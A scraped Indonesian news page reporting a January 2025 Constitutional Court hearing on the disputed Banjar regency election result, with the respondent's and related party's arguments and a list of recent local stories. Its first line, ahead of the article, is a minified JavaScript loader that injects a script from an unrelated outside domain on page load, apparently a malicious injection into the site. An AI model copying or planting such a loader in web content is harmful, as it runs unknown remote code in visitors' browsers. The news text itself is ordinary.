(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
pilkada 2024

Sidang PHP Kepala Daerah Kabupaten Banjar, Kuasa Hukum Saidi: Permohonan Pemohon kabur, Tidak jelas dan Terlalu Memaksakan


KANALKALIMANTAN.COM, JAKARTA – Sidang kedua sengketa perselisihan hasil pemilihan kepala daerah kabupaten banjar kembali digelar di Mahkamah Konstitusi.

Agenda sidang di MK yang digelar Jumat (17/1/2025) siang itu beragendakan mendengarkan jawaban termohon, yaitu KPU Kabupaten Banjar.

Mendengarkan keterangan pihak terkait, yaitu pasangan Saidi Mansyur dan Said Idrus serta mendengarkan keterangan dari Bawaslu.

Baca juga: Soal ATCS Simpang Tugu Adipura, Begini Penjelasan Dishub Banjarbaru


KPU Kabupaten Banjar diwakili kuasa hukumnya, Raden Liani Afrianty, kepada Majelis Hakim Panel 2 yang dipimpin Wakil Ketua MK Saldi Isra dengan didampingi Hakim Konstitusi Ridwan Mansyur dan Hakim Konstitusi Arsul Sani di Ruang Sidang Lantai 4 Gedung I MK, Jakarta, menyampaikan bahwa permohonan pemohon kabur atau tidak jelas karena seluruh dalil yang didalilkan oleh pemohon hanya asumsi dan tidak benar adanya.

Baca juga: Polres HSU Siapkan Pengamanan Acara Haul ke-1 Guru Danau

Begitu juga dengan keterangan pihak terkait yang dalam hal ini diwakilkan oleh kuasa hukumnya, yakni Muhammad Ridho Fuadi menyampaikan bahwa mahkamah tidak berwenang mengadili perkara a quo serta tidak memiliki kedudukan hukuk karena selisih hasil perolehan suara antara pemohon dan pihak terkait terlampau sangat jauh yaitu sekitar 67,68 persen suara. Padahal UU Pilkada untuk kabupaten banjar tergolong masuk dalam katagori selisih 1 persen suara yang bisa dipersengketakan sehingga permohonan pemohon terkesan dipaksakan.

Baca juga: Gerakan Jum’at Bersih, Pj Bupati HSU: Jadikan Rutinitas Berkelanjutan

Selain itu, menurut pihak terkait terhadap pokok perkara yg didalilkan pemohon juga sudah diselesaikan ditingkatan bawaslu dan kesemuanya tidak memenuhi unsur sehingga hasil dari bawaslu dihentikan atau tidak ditindaklanjuti.

Agenda selanjutnya adalah rapat permushawaratan hakim untuk memutuskan apakah perkara ini lanjut ke pokok perkara atau selesai pada sidang pendahuluan. Untuk jadwal selanjutnya akan ditentukan oleh mahkamah. (kanalkalimantan.com/MK)

Editor: Dhani


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.